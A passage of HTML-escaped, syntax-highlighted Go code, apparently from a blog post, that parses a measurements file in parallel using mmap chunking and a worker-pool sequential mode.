&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">flag&lt;/span>.&lt;span style="color:#a6e22e">StringVar&lt;/span>(&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">mode&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;mode&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;default&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;Which mode to use among &amp;#39;mmap&amp;#39;, &amp;#39;seq&amp;#39; and &amp;#39;default&amp;#39;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">flag&lt;/span>.&lt;span style="color:#a6e22e">StringVar&lt;/span>(&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">filename&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;file&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;Measurements file to use&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">flag&lt;/span>.&lt;span style="color:#a6e22e">StringVar&lt;/span>(&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">cpuprofile&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;cpuprofile&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;Write cpuprofile to file&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">flag&lt;/span>.&lt;span style="color:#a6e22e">IntVar&lt;/span>(&lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">numParsers&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;parsers&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">runtime&lt;/span>.&lt;span style="color:#a6e22e">NumCPU&lt;/span>(), &lt;span style="color:#e6db74">&amp;#34;Number of thread to use for parsing&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">flag&lt;/span>.&lt;span style="color:#a6e22e">Parse&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">filename&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">flag&lt;/span>.&lt;span style="color:#a6e22e">Usage&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Exit&lt;/span>(&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">cpuprofile&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#34;&amp;#34;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Create&lt;/span>(&lt;span style="color:#a6e22e">cpuprofile&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatal&lt;/span>(&lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">pprof&lt;/span>.&lt;span style="color:#a6e22e">StartCPUProfile&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">pprof&lt;/span>.&lt;span style="color:#a6e22e">StopCPUProfile&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">filename&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Open: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">switch&lt;/span> &lt;span style="color:#a6e22e">mode&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;mmap&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">processMmap&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">case&lt;/span> &lt;span style="color:#e6db74">&amp;#34;seq&amp;#34;&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">processSeq&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">default&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">process&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurements&lt;/span>) &lt;span style="color:#a6e22e">processMmap&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">File&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">jobs&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">job&lt;/span>, &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">numParsers&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fi&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Stat&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Stat: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">size&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">fi&lt;/span>.&lt;span style="color:#a6e22e">Size&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">size&lt;/span>&lt;span style="color:#f92672">/&lt;/span>int64(len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span> &lt;span style="color:#f92672">&amp;lt;=&lt;/span> &lt;span style="color:#ae81ff">100&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Invalid file size: %d&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">data&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">Mmap&lt;/span>(int(&lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Fd&lt;/span>()), &lt;span style="color:#ae81ff">0&lt;/span>, int(&lt;span style="color:#a6e22e">size&lt;/span>), &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">PROT_READ&lt;/span>, &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">MAP_SHARED&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Mmap: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>() {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">syscall&lt;/span>.&lt;span style="color:#a6e22e">Munmap&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>); &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">log&lt;/span>.&lt;span style="color:#a6e22e">Fatalf&lt;/span>(&lt;span style="color:#e6db74">&amp;#34;Munmap: %v&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">jobs&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">jobs&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">==&lt;/span> len(&lt;span style="color:#a6e22e">jobs&lt;/span>)&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#a6e22e">size&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Store&lt;/span>(&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">WaitGroup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> = &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">jobs&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(&lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#66d9ef">int&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>){
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">jobs&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">maxOffset&lt;/span>.&lt;span style="color:#a6e22e">Load&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">maxOffset&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">IndexByte&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">maxOffset&lt;/span>:], &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>); &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">maxOffset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">nlPos&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">offset&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">IndexByte&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">offset&lt;/span>:&lt;span style="color:#a6e22e">maxOffset&lt;/span>], &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>); &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">&amp;gt;=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">nlPos&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">processChunk&lt;/span>(&lt;span style="color:#a6e22e">data&lt;/span>[&lt;span style="color:#a6e22e">offset&lt;/span>:&lt;span style="color:#a6e22e">maxOffset&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }(&lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">offset&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">offset&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#a6e22e">chunkSize&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Wait&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">printResults&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> (&lt;span style="color:#a6e22e">res&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">measurements&lt;/span>) &lt;span style="color:#a6e22e">processSeq&lt;/span>(&lt;span style="color:#a6e22e">f&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">File&lt;/span>) {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">jobs&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#a6e22e">job&lt;/span>, &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">numParsers&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">free_jobs&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">job&lt;/span>, len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">ready_jobs&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">chan&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">job&lt;/span>, len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">wg&lt;/span> &lt;span style="color:#a6e22e">sync&lt;/span>.&lt;span style="color:#a6e22e">WaitGroup&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Add&lt;/span>(len(&lt;span style="color:#a6e22e">jobs&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">jobs&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">jobs&lt;/span>[&lt;span style="color:#a6e22e">i&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">free_jobs&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">go&lt;/span> &lt;span style="color:#66d9ef">func&lt;/span>(){
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">ready_jobs&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">res&lt;/span>.&lt;span style="color:#a6e22e">processChunk&lt;/span>(&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">j&lt;/span>.&lt;span style="color:#a6e22e">bufLen&lt;/span>])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">free_jobs&lt;/span> &lt;span style="color:#f92672">&amp;lt;-&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">wg&lt;/span>.&lt;span style="color:#a6e22e">Done&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">var&lt;/span> &lt;span style="color:#a6e22e">prev_j&lt;/span> &lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">job&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">pos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">nlPos&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">j&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">free_jobs&lt;/span> {
